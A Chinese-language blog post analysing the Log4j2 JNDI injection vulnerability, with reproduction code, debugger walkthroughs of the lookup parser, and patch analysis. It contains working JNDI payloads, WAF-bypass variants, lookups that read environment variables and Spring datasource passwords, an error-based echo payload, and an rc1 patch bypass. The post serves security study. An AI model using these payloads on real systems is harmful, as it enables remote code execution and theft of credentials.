Log4j2漏洞分析
1diot9 Lv4

前言

刚学JNDI时看过log4j2,但当时只是简单看了一下payload,对解析过程并不熟悉,现在来重新看一遍。

这里的目标:

1、了解漏洞的触发条件

2、了解payload在组件中的解析过程,看懂字符串的处理过程,进而明白bypass的由来

3、其他利用方式,包括其他协议以及不出网

4、补丁分析与绕过

5、jdk17下的利用

6、为什么会触发多次

文章涉及到的代码:https://github.com/1diot9/MyJavaSecStudy/tree/main/JNDI/Log4j2

测试环境:jdk8u65

漏洞复现

这里先复现一下漏洞,看看效果。

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.test</groupId>
<artifactId>Log4j2</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<log4j2.version>2.14.1</log4j2.version> <!-- <=2.14.1 有漏洞-->
</properties>

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j2.version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j2.version}</version>
</dependency>
</dependencies>


</project>

resources/log4j2.xml,里面有详细注释,帮助理解配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?xml version="1.0" encoding="UTF-8"?>
<!--status="WARN":控制 Log4j2 自身的内部日志级别(不是应用日志)。如果 Log4j2 出现错误或警告,会在控制台打印。-->
<!--monitorInterval="30":表示每隔 30 秒检查一次配置文件是否被修改,如果修改了会自动重新加载。-->
<Configuration status="WARN" monitorInterval="30">
<!--日志输出目标-->
<Appenders>
<!--输出到控制台-->
<Console name="Console" target="SYSTEM_OUT">
<!--时间戳 线程名 日志级别(INFO/DEBUG 等) Logger 名称,最多显示 36 个字符 日志消息 换行-->
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
<!--输出到文件 logs/app.log--> <!--filePattern:日志滚动时的文件命名规则,例如 logs/app-2025-12-04-1.log.gz-->
<RollingFile name="File" fileName="logs/app.log" filePattern="logs/app-%d{yyyy-MM-dd}-%i.log.gz">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5level %logger - %msg%n"/>
<Policies>
<SizeBasedTriggeringPolicy size="10MB"/> <!--文件超过 10MB 时滚动-->
<TimeBasedTriggeringPolicy/> <!--按时间滚动(通常是每天)-->
</Policies>
<DefaultRolloverStrategy max="7"/> <!--最多保留 7 个历史文件,超过会删除旧的-->
</RollingFile>
</Appenders>

<Loggers>
<!--针对 com.example 包下的类,日志级别设为 error;这里代表error以上的才会被解析记录,所以只有error以上的才能触发漏洞;可以在java类中临时更改记录等级-->
<!--additivity="false" 表示不再向上级 Root Logger 传递日志,避免重复输出-->
<!--trace < debug < info < warn < error < fatal-->
<Logger name="com.example" level="error" additivity="false">
<!--绑定两个 Appender:控制台和文件-->
<AppenderRef ref="Console"/>
<AppenderRef ref="File"/>
</Logger>
<!--所有没有单独配置的 Logger 都会走 Root-->
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>

App.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;

public class App {
private static final Logger logger = LogManager.getLogger(App.class);

public static void main(String[] args) {
/* 临时修改记录的日志等级 */
Configurator.setLevel("com.example.App", org.apache.logging.log4j.Level.DEBUG);

String username = "${sys:user.name}";
String str2 = "${sys:java.version}";
String vul = "${jndi:ldap://127.0.0.1:50389/71c916}";
logger.trace("跟踪信息");
logger.debug("调试信息");
logger.info("应用启动");
logger.warn("警告示例");
logger.error("错误示例");
logger.fatal("致命错误示例");
logger.trace("{}", username);
logger.info("{}", str2);
logger.info("{}", vul);
// logger.error("{}",vul);
try {
int x = 1 / 0;
} catch (Exception e) {
logger.error("发生异常", e);
}
}
}

恶意ldap服务器我用java-chains起:

img

运行后成功执行calc,而且是弹了4个。

调试分析

触发条件分析

除了组件版本<=2.14.1,设置的日志输出等级也会影响是否能触发漏洞。因为这里漏洞触发的本质是,组件需要打印日志,所以才去解析用户输入。如果组件判断不需要打印日志的话,就不会有解析这一步了。

我直接在javax.naming.spi.DirectoryManager#getObjectInstance打断点,因为触发的ldap,所以最后肯定会到这儿。复制一下堆栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
getObjectInstance:161, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
logParent:531, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:500, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2034, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1899, AbstractLogger (org.apache.logging.log4j.spi)
info:1444, AbstractLogger (org.apache.logging.log4j.spi)
main:25, App (com.example)

这里简单扫一眼,能看到最底下,倒数第三行,有一个比较显眼的方法——logIfEnabled,看一下代码:

img

这里最关键是这个if条件,跟进isEnabled,再跟进filter:

img

App里设置的打印等级为debug,对应500;漏洞触发点是logger.info,对应400。因此能够满足条件,进入后续解析。

补充一下日志等级排序:trace < debug < info < warn < error < fatal

打印等级可以在配置文件设置,也可以在代码中临时修改:

img

img

关于日志级别修改,也可以参考官方文档:https://logging.apache.ac.cn/log4j/2.x/manual/customloglevels.html

总结:

除了版本<=2.14.1,还需要看设置的日志等级和触发点的日志等级。

payload解析分析

还是用上面的App.java,不过可以把前面的都注释,只留下最后的jndi触发点。

这里稍微改一下,vul改成下面的,方便展示嵌套解析的情况。

1
vul = "${jndi:${lower:L}dap://127.0.0.1:50389/b67a28}";

调用栈也是和上面一样的。

自己分析的时候,我喜欢从上往下分析调用栈,所以这里也采取这种方式。

Interpolator#lookup

首先看到Interpolator#lookup:

img

更上面的调用栈不看了,因为就是一步步走到经典JNDI的过程。这里看到,已经取出${}里面的文本了,并且根据冒号做了分割,关键代码的作用已在图上标出。

这个方法的主要功能是:根据冒号分割协议与文本,根据协议从strLookupMap中获取合适的lookup对象,并调用lookup方法完成进一步解析。

看看strLookupMap还能解析哪些协议:

img

这些协议为后面的进一步利用或绕过提供了思路。

这在官方文档中也有提到:

https://logging.apache.ac.cn/log4j/2.x/manual/configuration.html#PropertySubstitution

img

StrSubstitutor#substitute

再往前看调用栈,这里我关注的是StrSubstitutor#substitute:

img

前后的调用栈都是一些简单的调用,而这个方法从篇幅看就比较重要,从上下文看,这个方法处理后,${}就消失了。所以,我应该重点看看这个方法。

开头就定义了一些matcher,如图:

img

分别匹配${,},:-。这里的 :- 是第一次出现,不知道干什么用的,留意一下。

接着,进入while循环,一个个字符遍历传入的日志消息,这里是${jndi:ldap://127.0.0.1:50389/b67a28}

当满足当前pos(position的缩写)的字符是$,下一个字符是{时,即出现 ${ 时,startMatchLen等于2,进入else if和else判断:

img

中间的else if 是处理转义字符的,其判断逻辑是,当前pos的前一个字符是转义字符的话,就不进行解析,并删除转义字符,也是一个常见的功能。不过这里的转义字符是$。所以$${jndi:ldap://127.0.0.1:50389/b67a28}最终会被日志打印为:

img

继续看下面的else,代码如图:

img

先关注一下如何处理嵌套情况。在962行,会继续判断是否出现 ${ ,出现的话,nestedVarCount++,即嵌套数加一。当出现suffix尾缀,即 } 时,会在974行判断是否有嵌套次数,有的话,就不进入解析,而是对nestedVarCount–。这样做的目的是为了找到匹配的 ${ 和 } 以我们一开始的${jndi:${lower:L}dap://127.0.0.1:50389/b67a28}为例,第一个${ 应该对应最后的 } ,而不是 L} 中的 } 。

当遍历到最后一个 } 时,能够进入 nestedVarCount == 0 的判断,开始解析:

img

可以看到,这里已经脱去了最外层的 ${} ,然后又嵌套调用 substitute方法,继续对存在的 ${} 进行处理。

总结一下,substitute会通过嵌套处理,一层层脱去 ${} ,先解析最里面的。

继续看nestedVarCount == 0 这个if中的逻辑。

首先是将内部嵌套的进行解析,一开始的${jndi:${lower:L}dap://127.0.0.1:50389/b67a28}变成了jndi:ldap://127.0.0.1:50389/b67a28,如图:

img

接下来会进入到一些特殊分隔符的匹配,如图:

img

这个等一下会单独讲,先继续看下面的。

如果没有特殊分隔符,最终就会通过resolveVariable对varName,也就是传入的payload进行处理:

img

跟进后,就是上一部分Interpolator#lookup的内容了,即根据协议找lookup对象,然后进行解析。

特殊分隔符分析

回到刚刚跳过的部分

img

这里主要有两种分隔符,:/-和:-

这里面会涉及到两个比较重要的变量,varName和varDefaultValue。前者最终进入resolveVariable进行解析(比如jndi:ldap://xxxx),后者作为解析结果为空时的默认值。

具体作用如下:

1、举例说明 :-

  • ${a:-b}

首先被处理成a:-b,然后a:-b被赋值为varName,最终进入resolveVariable解析,被拆分成a, -b,a对应协议部分,-b对应协议内容,如图:

img

这样自然不会产生解析结果,因此原样打印日志:

img

  • ${a:-b123:-xyz}

首先被处理成a:-b123:-xyz,这时候由于进入的是:-的if,所以会继续向后检测 :- 。最终,会先把前面的a:-b123进一步处理成a:b123作为varName,并把xyz作为varDefaultValue,如图:

img

于是,最终进入resolveVariable解析的就是a:b123,这样也自然不会解析成功。这时候,varDefaultValue就派上用场,作为最终的解析结果,如图:

img

img

这里说实话感觉挺奇怪的,理论上varName应该是a:-b123才对,不然反斜杠转义的意义何在?

  • ${a:-b123:-xyz:-qwe}

找到第一个:-后,后面的就全是varDefaultValue了,所以日志结果为:

img

2、举例说明 :-

  • ${a:-b123:-xyz}

这里的逻辑更简单点,将第一个 :- 后的内容作为varDefaultValue,前面的作为varName,代码如图:

img

a自然无法被resolve解析,最终的日志结果:

img

  • ${a:b123:-xyz321:-qwe}

分成a:b123 xyz321:-qwe两部分,前面作为varName,进入resolve解析,后面作为varDefaultValue。

最终日志:

img

  • ${sys:java.version:-xyz123}

这时候varName部分解析成功,自然输出解析后的内容:

img

关于默认属性这一点,官方文档也有提到:

https://logging.apache.ac.cn/log4j/2.x/manual/configuration.html#PropertySubstitution

img

总结一下,可以写成 ${a:b:-default} 形式,当前面的协议无效时,就会取后面的默认值。

那我前言里写的灰盒测试是什么意思呢?其实就是在发现有 :-,:- 这种matcher后,不去仔细看源码,而是直接写几个案例运行,看输出结果,从而确定这些特殊分隔符的作用。这个时候,如何构造合适的例子就很重要。同样的方式也可以运用在,由于对URL的解析不同,从而造成权限绕过的漏洞上。这部分可以看:

7. JEECG-灰盒Fuzzing

MessagePatternConverter#format

这里的format方法,对日志消息里的 ${ 会进行识别,从而进入后面的解析:

img

而在之后的修复中,是不会对 ${ 进行判断的,后面看补丁的时候会知道。另外,这里的noLookups选项,也暗示了,能够通过修改启动配置来实现对所有lookup的禁用。

idea可以直接增加JVM选项:

img

绕过思路

有了上面的分析,现在来看看怎么对waf进行一些绕过。

这里直接搬运网上的了:

1
2
3
4
5
${${a:-j}ndi:ldap://127.0.0.1:1389/}
${${a:-j}n${::-d}i:ldap://127.0.0.1:1389/}
${${lower:jn}di:ldap://127.0.0.1:1389/}
${${lower:${upper:jn}}di:ldap://127.0.0.1:1389/}
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1389/}

另外,还可以利用一些特殊字符的大小写转化问题(似乎在py ssti 绕过中遇到过):

1
2
3
4
5
6
7
ı => upper => i (Java 中测试可行)

ſ => upper => S (Java 中测试可行)

İ => upper => i (Java 中测试不可行)

K => upper => k (Java 中测试不可行)

如果涉及到json格式,那还可以尝试各种编码绕过,因为fastjson和jackson组件都支持unicode和hex编码:

1
2
{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}

其他利用

sys,env,java等协议

结合其他的协议,有时候能够读取一些敏感信息,参考:

GitHub - jas502n/Log4j2-CVE-2021-44228: Remote Code Injection In Log4j

sys 实际对应 System.getProperty()

env 实际对应 System.getenv()

jndi下也支持dns协议,也可以通过dns外带。

末尾有详细的利用方式,列举部分:

env-linux:

1
CLASSPATH,HOME,JAVA_HOME,LANG,LC_TERMINAL,LC_TERMINAL_VERSION,LESS,LOGNAME,LSCOLORS,LS_COLORS,MAIL,NLSPATH,OLDPWD,PAGER,PATH,PWD,SHELL,SHLVL,SSH_CLIENT,SSH_CONNECTION,SSH_TTY,TERM,USER,XDG_RUNTIME_DIR,XDG_SESSION_ID,XFILESEARCHPATH,ZSH,_

img

bundle协议

这个单开一段,因为利用条件有些不一样,且提及这个协议的文章比较少。

参考 log4j 漏洞一些特殊的利用方式

bundle协议对应的lookup代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Override
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String[] keys = key.split(":");
final int keyLen = keys.length;
if (keyLen != 2) {
LOGGER.warn(LOOKUP, "Bad ResourceBundle key format [{}]. Expected format is BundleName:KeyName.", key);
return null;
}
final String bundleName = keys[0];
final String bundleKey = keys[1];
try {
// The ResourceBundle class caches bundles, no need to cache here.
return ResourceBundle.getBundle(bundleName).getString(bundleKey);
} catch (final MissingResourceException e) {
LOGGER.warn(LOOKUP, "Error looking up ResourceBundle [{}].", bundleName, e);
return null;
}
}

从代码上来看就很好理解,把 key 按照 : 分割成两份,第一个是 bundleName 获取 ResourceBundle,第二个是 bundleKey 获取 Properties Value

ResourceBundle 在 Java 应用开发中经常被用来做国际化,网站通常会给一段表述的内容翻译成多种语言,比如中文简体、中文繁体、英文。

那开发者可能就会使用 ResourceBundle 来分别加载 classpath 下的 zh_CN.properties、en_US.properties。并按照唯一的 key 取出对应的那段文字。例如: zh_CN.properties

1
LOGIN_SUCCESS=登录成功

ResourceBundle.getBundle("zh_CN").getString("LOGIN_SUCCESS") 获取到的就是 登录成功

如果系统是 springboot 的话,它会有一个 application.properties 配置文件。里面存放着这个系统的各项配置,其中有可能就包含 redis、mysql 的配置项。当然也不止 springboot,很多其他类型的系统也会写一些类似 jdbc.properties 的文件来存放配置。

这些 properties 文件都可以通过 ResourceBundle 来获取到里面的配置项。

比如通过${bundle:application:spring.datasource.password} 来获取数据库密码。

不过,这个bundle协议在spring环境下的利用有限制,需要将spring默认的日志组件更换成log4j的,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

这种情况可能并不多见。

不出网回显

参考 浅谈Log4j2信息泄露与不出网回显-腾讯云开发者社区-腾讯云

这里通过报错回显。下面直接搬运了:

tryCallAppender方法中catchRuntimeException

img

如果配置了ignoreExceptions选项,就会直接抛出来

img

接下来就是制造RuntimeException

例如字符串转数字中有一个NumberFormatException异常,它父类的父类是RuntimeException

Manager.lookupnameprotocal://host:port/path

其中port本该是int如果给它无法转int的字符串就会抛出这里的信息

又联想到${}是支持嵌套标签的,这里嵌入真正想要得到的结果,即可抛出执行结果

根据这个思路,成功在Tomcat项目中回显执行结果(例如这里的${java:version}

能够回显的Payload是这样:${jndi:ldap://x.x.x.x:${java:version}/xxx}

这里也有限制条件,需要在log4j2.xml中配置 ignoreExceptions=”false”

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
<Appenders>
<Console name="STDOUT" target="SYSTEM_OUT" ignoreExceptions="false">
<PatternLayout pattern="%m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="STDOUT"/>
</Root>
</Loggers>
</Configuration>

在实际的环境中,有开启这个配置的概率,参考apache官方的描述

大致意思是在FailoverAppender情况下必须设置该选项为false

某些情况下开发者想让错误报出来便于调试,也会故意开启这个选项

tomcat中使用log4j需要修改web.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<listener>
<listener-class>org.apache.logging.log4j.web.Log4jServletContextListener</listener-class>
</listener>

<filter>
<filter-name>log4jServletFilter</filter-name>
<filter-class>org.apache.logging.log4j.web.Log4jServletFilter</filter-class>
</filter>
<context-param>
<param-name>log4jConfiguration</param-name>
<param-value>file:///YOUR_LOG4J2.XML_PATH</param-value>
</context-param>
<filter-mapping>
<filter-name>log4jServletFilter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
<dispatcher>INCLUDE</dispatcher>
<dispatcher>ERROR</dispatcher>
<dispatcher>ASYNC</dispatcher>
</filter-mapping>

img

补丁修复&绕过

2.15.0-rc1

修复点1

之前MessagePatternConverter#convert是会解析 ${ 的,但是现在默认不会了:

img

新版本里加了好多子类,默认情况下会走到MessagePatternConverter$SimpleMessagePatternConverter#format,是不会对 ${ 处理的。

但是子类LookupMessagePatternConverter#format还是保留了对 ${ 的解析:

img

进入replaceIn后,就跟之前一样了。

修复点2

在JndiManager中也做了修复:

img

img

这里的限制很严格,单独一个allowedHost就很棘手了。

但是rc1中,捕获异常后不会进行任何操作,所以可以通过人为制造异常来绕过前面的检查,直接进入最下面的lookup。

绕过思路

1、

首先要保证 ${ 能够被解析,这里只能手动改配置文件,所以利用要求比较高,在log4j2.xml中添加%m{lookups}。说实话,添加这个是直接看别的文章的,让我自己想肯定不知道,去官方文档里也没找到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<Appenders>
<!--输出到控制台-->
<Console name="Console" target="SYSTEM_OUT">
<!--时间戳 启用lookups解析,用于在高版本组件中手动开启 线程名 日志级别(INFO/DEBUG 等) Logger 名称,最多显示 36 个字符 日志消息 换行-->
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %m{lookups} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
<!--输出到文件 logs/app.log--> <!--filePattern:日志滚动时的文件命名规则,例如 logs/app-2025-12-04-1.log.gz-->
<RollingFile name="File" fileName="logs/app.log" filePattern="logs/app-%d{yyyy-MM-dd}-%i.log.gz">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5level %logger - %msg%n"/>
<Policies>
<SizeBasedTriggeringPolicy size="10MB"/> <!--文件超过 10MB 时滚动-->
<TimeBasedTriggeringPolicy/> <!--按时间滚动(通常是每天)-->
</Policies>
<DefaultRolloverStrategy max="7"/> <!--最多保留 7 个历史文件,超过会删除旧的-->
</RollingFile>
</Appenders>

这样到时候就能走到LookupMessagePatternConverter#format

2、

制造URISyntaxException报错。这里有很多方法:

1
2
3
ldap://127.0.0.1:50389/79fcbc# 
ldap://127.0.0.1:50389/79fcbc#^
ldap://127.0.0.1:50389/ 79fcbc

这样不会影响ldap的正常解析,而且能够实现报错。

2.15.0-rc2修复

就是在抛出报错部分中 return null:

img

jdk17利用

环境:2.14.1版本;jdk17.0.6;

1
2
3
4
5
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.15</version>
</dependency>

这里的根本问题就是,jdk17下,只有springboot依赖,怎么进行原生反序列化利用。

这里已经有其他师傅讲解过了,可以看:高版本JDK下的Spring原生反序列化链 – fushulingのblog

这里我们直接使用java-chains生成:

img

这里值得注意的一点是,suid在不同版本会不一样。

1
2
EventListenerList:jdk8  suid:-5677132037850737084;jdk11/jdk17  suid:-7977902244297240866
DefaultAdvisorChainFactory:spring-aop <=6.0.9/spring-boot-starter-web <= 3.1.0 suid:6115154060221772279;spring-aop >=6.0.10/spring-boot-starter-web >= 3.1.1 suid:273003553246259276

当没有显式声明suid时,可以通过:

1
serialver -classpath "spring-aop-5.3.19.jar" org.springframework.aop.framework.DefaultAdvisorChainFactory

对suid进行查看:

img

为什么触发了多次

首先,ldap加载远程字节码触发两次是容易知道的,之前在学jndi的时候跟过调试。一次触发在Class.forName,另一次在newInstance:

img

img

接下来往前看,这里还是在getObjectInstance打断点,然后对比两次的调用栈有什么不同:

img

看不一样处的前一个调用栈:

img

能够知道,大概率是这个appender有两个,再往前分析调用栈,最终在LoggerConfig#callAppenders:

img

这两个分别对应在控制台解析一次,在日志文件里解析一次,和log4j2.xml是对应的。

于是2*2=4,就触发了4次。

工具利用

给几个能够进行漏洞检测的:

GitHub - pureqh/Hyacinth: 一款java漏洞集合工具

yakit里的插件

burp里的插件 GitHub - f0ng/log4j2burpscanner: CVE-2021-44228 Log4j2 BurpSuite Scanner,Customize ceye.io api or other apis,including internal networks

我这里就burp插件成功了,burp插件测试时,需要手动改成非URL编码的才能正常测试请求头中的内容。

img

总结

回顾一下一开始的目标,这里学到了:

  1. 漏洞触发条件;payload解析过程;bypass发现过程
  2. 其他的利用方式,包括其他协议,报错利用
  3. 知道了补丁修复及其绕过
  4. 知道了为什么会触发多次
  5. burp插件被动/主动检测log4j2

参考

log4j2_rce分析 | d4m1ts 知识库

Log4j2 利用手法学习 – 天下大木头

log4j2 RCE 分析 – 天下大木头

浅谈Log4j2信息泄露与不出网回显-腾讯云开发者社区-腾讯云

当Log4j遇到jdk17~往日种种,你当真不记得了?

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 108.4k 访客数 访问量